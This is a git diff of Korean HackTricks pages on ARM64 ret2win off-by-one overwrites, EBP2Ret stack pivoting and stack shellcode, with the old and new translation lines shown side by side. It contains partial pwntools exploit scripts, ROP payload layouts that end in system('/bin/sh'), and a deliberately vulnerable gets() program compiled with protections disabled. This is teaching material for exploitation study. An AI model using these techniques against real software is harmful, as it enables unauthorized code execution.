ret2win: file format elf64-littleaarch64 ret2win: file format elf64-littleaarch64
00000000004006c4 <win>: 00000000004006c4 <win>:
``` ```
악용: 익스플로잇:
```python ```python
from pwn import * from pwn import *
@ -121,7 +126,7 @@ p.close()
### Off-by-1 ### Off-by-1
사실 이것은 스택에 저장된 PC에서 오프바이-2와 더 가까울 것입니다. 우리는 반환 주소 전체를 덮어쓰는 대신 **마지막 2바이트만** `0x06c4`로 덮어씁니다. 사실 이것은 스택에 저장된 PC에서 오프 바이 2와 더 비슷할 것입니다. 모든 반환 주소를 덮어쓰는 대신 **마지막 2바이트만** `0x06c4`로 덮어쓸 것입니다.
```python ```python
from pwn import * from pwn import *
@ -143,17 +148,17 @@ p.close()
``` ```
<figure><img src="../../../.gitbook/assets/image (1212).png" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
ARM64에서 또 다른 off-by-one 예제를 찾을 수 있습니다. [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) 이곳에서 실제 off-by-**one** 취약점을 찾을 수 있습니다. ARM64에서 또 다른 off-by-one 예제를 [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)에서 찾을 수 있으며, 이는 허구의 취약점에서 실제 off-by-**one**입니다.
## PIE와 함께 ## PIE와 함께
{% hint style="success" %} {% hint style="success" %}
`-no-pie` 인자 없이 이진 파일을 컴파일합니다. 바이너리를 **`-no-pie` 인수 없이 컴파일하세요**
{% endhint %} {% endhint %}
### Off-by-2 ### Off-by-2
우리는 winning function의 정확한 주소를 알지 못하지만 함수의 오프셋을 알 수 있고, 덮어쓰는 반환 주소가 이미 가까운 주소를 가리키고 있음을 알 수 있기 때문에, 이 경우 win 함수의 오프셋(**0x7d4**)을 노출시키고 그 오프셋을 사용할 수 있습니다: 리크가 없으면 승리 함수의 정확한 주소를 알 수 없지만, 바이너리에서 함수의 오프셋을 알 수 있으며, 우리가 덮어쓰고 있는 반환 주소가 이미 가까운 주소를 가리키고 있다는 것을 알면, 이 경우 승리 함수의 오프셋(**0x7d4**)을 리크하고 그 오프셋을 사용할 수 있습니다:
<figure><img src="../../../.gitbook/assets/image (1213).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
```python ```python
@ -175,16 +180,17 @@ p.send(payload)
print(p.recvline()) print(p.recvline())
p.close() p.close()
``` ```
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
</details> </details>
{% endhint %}

View file

@ -1,74 +1,75 @@
# 스택 피벗팅 - EBP2Ret - EBP 체이닝 # 스택 피벗 - EBP2Ret - EBP 체이닝
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!</summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details> </details>
{% endhint %}
## 기본 정보 ## 기본 정보
이 기술은 **베이스 포인터 (EBP)**를 조작하여 EBP 레지스터와 **`leave; ret`** 명령어 시퀀스를 신중하게 사용하여 여러 함수의 실행을 연결하는 능력을 악용합니다. 이 기술은 **기본 포인터(EBP)**를 조작하여 EBP 레지스터와 **`leave; ret`** 명령어 시퀀스를 신중하게 사용하여 여러 함수의 실행을 체인하는 능력을 이용합니다.
`leave`는 기본적으로 다음을 의미합니다: 상기 사항으로, **`leave`**는 기본적으로 다음을 의미합니다:
``` ```
mov ebp, esp mov ebp, esp
pop ebp pop ebp
ret ret
``` ```
그리고 **EBP가 EIP보다 먼저 스택에 있기 때문에** 스택을 제어하여 EBP를 제어할 수 있습니다. And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
### EBP2Ret ### EBP2Ret
이 기술은 **EBP 레지스터를 변경할 수 있지만 EIP 레지스터를 직접적으로 변경할 방법이 없을 때 특히 유용**합니다. 함수가 실행을 마치면서 동작을 활용합니다. 이 기술은 **EBP 레지스터를 변경할 수 있지만 EIP 레지스터를 직접 변경할 방법이 없을 때** 특히 유용합니다. 함수가 실행을 마칠 때의 동작을 활용합니다.
`fvuln`의 실행 중에 스택에 **가짜 EBP**를 삽입하여 셸코드 주소가 위치한 메모리 영역을 가리키도록 설정하면(4바이트를 `pop` 작업을 고려하여 더한 상태), 간접적으로 EIP를 제어할 수 있습니다. `fvuln`이 반환되면 ESP는 이 조작된 위치로 설정되고, 이후의 `pop` 작업은 ESP를 4만큼 감소시키므로, **사용자가 설정한 주소를 가리키도록 효과적으로 만듭니다.**\ `fvuln` 실행 중에, **가짜 EBP**를 스택에 주입하여 쉘코드의 주소가 있는 메모리 영역을 가리키게 할 수 있다면(plus 4 bytes to account for the `pop` operation), EIP를 간접적으로 제어할 수 있습니다. `fvuln`이 반환되면, ESP는 이 조작된 위치로 설정되고, 이후의 `pop` 작업은 ESP를 4만큼 감소시켜 **실제로 공격자가 그곳에 저장한 주소를 가리키게 만듭니다.**\
여기서 **2개의 주소를 알아야 한다는 점**에 주목하세요: ESP가 이동할 위치 및 ESP가 가리키는 주소를 써야 하는 주소. 여기서 **2개의 주소를 알아야 한다는 점에 유의하세요**: ESP가 이동할 주소와 ESP가 가리키는 주소를 써야 할 주소입니다.
#### Exploit 구성 #### Exploit Construction
먼저 **임의의 데이터/주소를 쓸 수 있는 주소를 알아야** 합니다. ESP는 여기를 가리키고 **첫 번째 `ret`를 실행**할 것입니다. 먼저 **임의의 데이터/주소를 쓸 수 있는 주소**를 알아야 합니다. ESP는 여기로 가서 **첫 번째 `ret`**을 실행합니다.
다음, 임의의 코드를 **실행할 `ret`에 사용되는 주소**를 알아야 합니다. 다음을 사용할 수 있습니다: 그 다음, **임의의 코드를 실행할** `ret` 사용되는 주소를 알아야 합니다. 다음을 사용할 수 있습니다:
* 유효한 [**ONE\_GADGET**](https://github.com/david942j/one\_gadget) 주소. * 유효한 [**ONE\_GADGET**](https://github.com/david942j/one\_gadget) 주소.
* **`system()`** 주소 뒤에 **4바이트의 쓰레기 바이트**와 `"/bin/sh"` 주소(x86 비트). * **`system()`**의 주소 뒤에 **4개의 쓰레기 바이트**와 `"/bin/sh"` 주소(x86 비트).
* **`jump esp;`** 가젯([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) 주소 뒤에 실행할 **셸코드**. * **`jump esp;`** 가젯([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md))의 주소 뒤에 **실행할 쉘코드**.
* 일부 [**ROP**](../rop-return-oriented-programing/) 체인 * 일부 [**ROP**](../rop-return-oriented-programing/) 체인.
제어 가능한 메모리의 이 부분에 이러한 주소 중 어느 것이든 사용하기 전에 **`4`바이트**가 있어야 합니다. `leave` 명령의 **`pop`** 부분 때문에 이 4바이트를 악용하여 **두 번째 가짜 EBP를 설정하고 실행을 계속 제어**할 수 있습니다. 제어된 메모리 부분의 이러한 주소 앞에는 **`4` 바이트**가 있어야 합니다. 이는 **`pop`** 부분의 `leave` 명령어 때문입니다. 이 4B를 악용하여 **두 번째 가짜 EBP**를 설정하고 실행을 계속할 수 있습니다.
#### Off-By-One Exploit #### Off-By-One Exploit
이 기술의 특정 변형인 "Off-By-One Exploit"이라고 알려진 것이 있습니다. 이는 **EBP의 가장 낮은 유효 바이트만 수정할 수 있는 경우** 사용됩니다. 이 경우, **`ret`로 이동할 주소를 저장하는 메모리 위치**는 EBP와 처음 세 바이트를 공유해야 하므로, 더 제약 조건으로 유사한 조작이 가능합니다.\ 이 기술의 특정 변형인 "Off-By-One Exploit"이 있습니다. 이는 **EBP의 가장 하위 바이트만 수정할 수 있을 때** 사용됩니다. 이 경우, **`ret`**로 점프할 주소를 저장하는 메모리 위치는 EBP와 처음 세 바이트를 공유해야 하며, 더 제한된 조건에서 유사한 조작이 가능하게 합니다.\
보통 가장 멀리로 이동하기 위해 바이트 0x00을 수정합니다. 보통 0x00 바이트를 수정하여 가능한 한 멀리 점프합니다.
또한, 스택에 RET 슬레드를 사용하고 실제 ROP 체인을 끝에 놓아 새 ESP가 RET SLED 내부를 가리키고 최종 ROP 체인이 실행될 가능성을 높일 수 있습니다. 또한, 스택에 RET 슬레드를 사용하고 실제 ROP 체인을 끝에 배치하여 새로운 ESP가 RET SLED 내부를 가리키고 최종 ROP 체인이 실행될 가능성을 높이는 것이 일반적입니다.
### **EBP Chaining** ### **EBP Chaining**
따라서, 스택의 `EBP` 항목에 제어 가능한 주소를 넣고 `EIP``leave; ret` 주소를 넣으면 **`ESP`를 스택의 제어 가능한 `EBP` 주소로 이동**할 수 있습니다. 따라서 스택의 `EBP` 항목에 제어된 주소를 넣고 `EIP``leave; ret` 주소를 넣으면, **스택에서 제어된 `EBP` 주소로 `ESP`를 이동할 수 있습니다**.
이제 **`ESP`**가 원하는 주소를 가리키고 실행할 다음 명령이 `RET`인 상태입니다. 이를 악용하기 위해 제어 가능한 ESP 위치에 다음을 놓을 수 있습니다: 이제 **`ESP`**는 원하는 주소를 가리키도록 제어되고, 다음 실행할 명령은 `RET`입니다. 이를 악용하기 위해 제어된 ESP 위치에 다음을 배치할 수 있습니다:
* **`&(다음 가짜 EBP)`** -> `leave` 명령의 `pop ebp`로 새 EBP를 로드합니다. * **`&(next fake EBP)`** -> `leave` 명령어의 `pop ebp`로 인해 새로운 EBP를 로드합니다.
* **`system()`** -> `ret`에 의해 호출됩니다. * **`system()`** -> `ret`에 의해 호출됩니다.
* **`&(leave;ret)`** -> 시스템이 종료된 후 호출되며, ESP를 가짜 EBP로 이동시키고 다시 시작합니다. * **`&(leave;ret)`** -> 시스템이 끝난 후 호출되며, ESP를 가짜 EBP로 이동시키고 다시 시작합니다.
* **`&("/bin/sh")`**-> `system`의 매개변수 * **`&("/bin/sh")`**-> `system`의 매개변수입니다.
기본적으로 이 방법을 사용하여 프로그램의 흐름을 제어하는 여러 가짜 EBPs를 연결할 수 있습니다. 기본적으로 이 방법으로 여러 개의 가짜 EBP를 연결하여 프로그램의 흐름을 제어할 수 있습니다.
는 [ret2lib](../rop-return-oriented-programing/ret2lib/)과 유사하지만, 명백한 이점은 없지만 일부 특수한 경우에 흥미로울 수 있습니다. 것은 [ret2lib](../rop-return-oriented-programing/ret2lib/)와 비슷하지만, 명백한 이점 없이 더 복잡합니다. 그러나 일부 엣지 케이스에서는 흥미로울 수 있습니다.
또한, 여기에는 이 기술을 사용하여 **승리 함수를 호출하는 스택 누출**을 사용하는 [**도전 과제 예제**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)가 있습니다. 이것은 페이지의 최종 페이로드입니다: 게다가, 여기에는 **스택 누수**를 사용하여 승리하는 함수를 호출하는 [**챌린지의 예**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)가 있습니다. 이것은 페이지의 최종 페이로드입니다:
```python ```python
from pwn import * from pwn import *
@ -104,10 +105,10 @@ pause()
p.sendline(payload) p.sendline(payload)
print(p.recvline()) print(p.recvline())
``` ```
## EBP 사용되지 않을 수 있음 ## EBP 사용되지 않을 수 있음
[**이 게시물에서 설명한대로**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), 일부 최적화로 컴파일된 이진 파일의 경우 **EBP는 ESP를 제어하지 못합니다**, 따라서 EBP를 제어하여 작동하는 모든 exploit은 기본적으로 실제 효과가 없기 때문에 실패할 것입니다.\ [**이 게시물에서 설명된 바와 같이**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), 이진 파일이 일부 최적화와 함께 컴파일되면, **EBP는 ESP를 제어하지 못합니다**, 따라서 EBP를 제어하여 작동하는 모든 익스플로잇은 기본적으로 실패하게 됩니다.\
이는 이진 파일이 최적화되었을 때 **프롤로그와 에필로그가 변경**되기 때문입니다. 이는 **이진 파일이 최적화되면** **프롤로그와 에필로그가 변경되기 때문입니다.**
* **최적화되지 않음:** * **최적화되지 않음:**
```bash ```bash
@ -135,7 +136,7 @@ ret # return
### **`pop rsp`** 가젯 ### **`pop rsp`** 가젯
[**이 페이지**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp)에서 이 기술을 사용한 예제를 찾을 수 있습니다. 이 도전 과제에서는 2개의 특정 인수를 사용하여 함수를 호출해야 했으며 **`pop rsp` 가젯**이 있으며 **스택에서의 누출**이 있었습니다: [**이 페이지에서**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) 이 기술을 사용하는 예제를 찾을 수 있습니다. 이 도전 과제에서는 2개의 특정 인수를 가진 함수를 호출해야 했으며, **`pop rsp` 가젯**이 있었고 **스택에서의 누수**가 있었습니다:
```python ```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments # This version has added comments
@ -179,7 +180,7 @@ pause()
p.sendline(payload) p.sendline(payload)
print(p.recvline()) print(p.recvline())
``` ```
### xchg \<reg>, rsp 가젯 ### xchg \<reg>, rsp gadget
``` ```
pop <reg> <=== return pointer pop <reg> <=== return pointer
<reg value> <reg value>
@ -187,33 +188,33 @@ xchg <reg>, rsp
``` ```
### jmp esp ### jmp esp
여기서 ret2esp 기술을 확인하세요: ret2esp 기술에 대한 내용은 여기에서 확인하세요:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} {% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md) [ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
{% endcontent-ref %} {% endcontent-ref %}
## 참고 자료 및 다른 예제 ## References & Other Examples
* [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) * [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
* [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) * [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
* [https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html) * [https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html)
* 64 bits, off by one exploitation with a rop chain starting with a ret sled * 64비트, ret sled로 시작하는 rop 체인을 이용한 off by one 취약점
* [https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html) * [https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)
* 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing `.fini_array` entries + calling `__libc_csu_fini` ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP. * 64비트, no relro, canary, nx 및 pie. 프로그램은 스택 또는 pie에 대한 leak과 qword의 WWW를 제공합니다. 먼저 스택 leak을 얻고 WWW를 사용하여 다시 돌아가 pie leak을 얻습니다. 그런 다음 WWW를 사용하여 `.fini_array` 항목을 남용하여 영구 루프를 생성하고 `__libc_csu_fini`를 호출합니다 ([자세한 정보는 여기](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). 이 "영구" 쓰기를 남용하여 .bss에 ROP 체인을 작성하고 RBP로 피벗하여 호출합니다.
## ARM64 ## ARM64
ARM64에서 함수의 **프롤로그와 에필로그**는 **SP 레지스트리를 저장하고 검색하지 않습니다**. 더구나 **`RET`** 명령은 SP가 가리키는 주소로 돌아가지 않고 **`x30` 안의 주소로 돌아갑니다**. ARM64에서는 함수의 **프롤로그와 에필로그**가 **스택에서 SP 레지스터를 저장하거나 검색하지 않습니다**. 게다가 **`RET`** 명령은 SP가 가리키는 주소로 돌아가지 않고 **`x30`** 내부의 주소로 돌아갑니다.
그러므로 기본적으로 에필로그를 남용하여 스택 내부의 데이터를 덮어쓰는 것으로 SP 레지스트리를 제어할 수 없습니다. 그리고 SP를 제어할 수 있다 하더라도 **`x30` 레지스터를 제어해야** 합니다. 따라서 기본적으로 에필로그를 남용하더라도 **스택 내부의 일부 데이터를 덮어써서 SP 레지스터를 제어할 수 없습니다**. SP를 제어할 수 있게 되더라도 여전히 **`x30`** 레지스터를 **제어할 방법이 필요합니다**.
* 프롤로그 * 프롤로그
```armasm ```armasm
sub sp, sp, 16 sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30 stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record mov x29, sp // FP는 프레임 레코드를 가리킴
``` ```
* 에필로그 * 에필로그
@ -224,25 +225,26 @@ ret
``` ```
{% hint style="danger" %} {% hint style="danger" %}
ARM64에서 스택 피봇을 수행하는 방법은 **`SP`를 제어**할 수 있어야 하며, 그 레지스터의 값이 `SP`로 전달되거나 `SP`가 스택에서 주소를 가져오는 이유가 있어야 합니다. 그런 다음 에필로그를 남용하여 **제어된 `SP`에서 `x30` 레지스터를 로드**하고 **`RET`**로 이동해야 합니다. ARM64에서 스택 피벗과 유사한 작업을 수행하는 방법은 **`SP`**를 제어할 수 있는 것입니다 (어떤 레지스터의 값을 제어하여 `SP`에 전달하거나, 어떤 이유로 `SP`가 스택에서 주소를 가져오고 오버플로우가 발생하는 경우) 그리고 **에필로그를 남용하여** **제어된 `SP`**에서 **`x30`** 레지스터를 로드하고 **`RET`**를 호출하는 것입니다.
{% endhint %} {% endhint %}
또한 다음 페이지에서 **ARM64에서 Ret2esp의 동등한 내용**을 볼 수 있습니다: 다음 페이지에서 **ARM64에서 Ret2esp**의 동등한 내용을 볼 수 있습니다:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} {% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md) [ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 AWS 해킹을 전문가로 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우**하세요** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
</details> </details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# 스택 쉘코드 # Stack Shellcode
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!</summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}
## 기본 정보 ## Basic Information
**스택 코드**는 **바이너리 익스플로잇**에서 사용되는 기술로, 공격자가 취약한 프로그램의 스택에 쉘코드를 작성하고 **명령어 포인터 (IP)** 또는 **확장된 명령어 포인터 (EIP)**를 이 쉘코드의 위치를 가리키도록 수정하여 실행시키는 것입니다. 이는 무단 액세스를 얻거나 대상 시스템에서 임의의 명령을 실행하는 데 사용되는 고전적인 방법입니다. 여기에는 간단한 C 예제와 **pwntools**를 사용하여 해당 취약점을 이용하는 방법을 작성하는 방법이 포함되어 있습니다. **스택 코드**는 **바이너리 익스플로잇**에서 사용되는 기술로, 공격자가 취약한 프로그램의 스택에 셸코드를 작성한 다음 **명령 포인터 (IP)** 또는 **확장 명령 포인터 (EIP)**를 수정하여 이 셸코드의 위치를 가리키게 하여 실행되도록 하는 방법입니다. 이는 무단 접근을 얻거나 대상 시스템에서 임의의 명령을 실행하기 위해 사용되는 고전적인 방법입니다. 다음은 프로세스의 개요와 간단한 C 예제, 그리고 **pwntools**를 사용하여 해당 익스플로잇을 작성하는 방법입니다.
### C 예제: 취약한 프로그램 ### C Example: A Vulnerable Program
간단한 취약한 C 프로그램 예제부터 시작해보겠습니다: 간단한 취약한 C 프로그램의 예로 시작해 보겠습니다:
```c ```c
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
@ -36,22 +37,22 @@ printf("Returned safely\n");
return 0; return 0;
} }
``` ```
이 프로그램은 `gets()` 함수 사용으로 버퍼 오버플로우 취약점이 있습니다. 이 프로그램은 `gets()` 함수의 사용으로 인해 버퍼 오버플로우에 취약합니다.
### 컴파일 ### 컴파일
취약한 환경을 시뮬레이션하기 위해 다양한 보호 기능을 비활성화하면서 이 프로그램을 컴파일하려면 다음 명령을 사용할 수 있습니다: 이 프로그램을 다양한 보호 기능을 비활성화하여 컴파일하려면 (취약한 환경을 시뮬레이션하기 위해) 다음 명령어를 사용할 수 있습니다:
```sh ```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
``` ```
* `-fno-stack-protector`: 스택 보호 기능을 비활성화합니다. * `-fno-stack-protector`: 스택 보호 비활성화합니다.
* `-z execstack`: 스택을 실행 가능하게 만들어줍니다. 이는 스택에 저장된 셸코드를 실행하는 데 필요합니다. * `-z execstack`: 스택을 실행 가능하게 만들어, 스택에 저장된 shellcode를 실행하는 데 필요합니다.
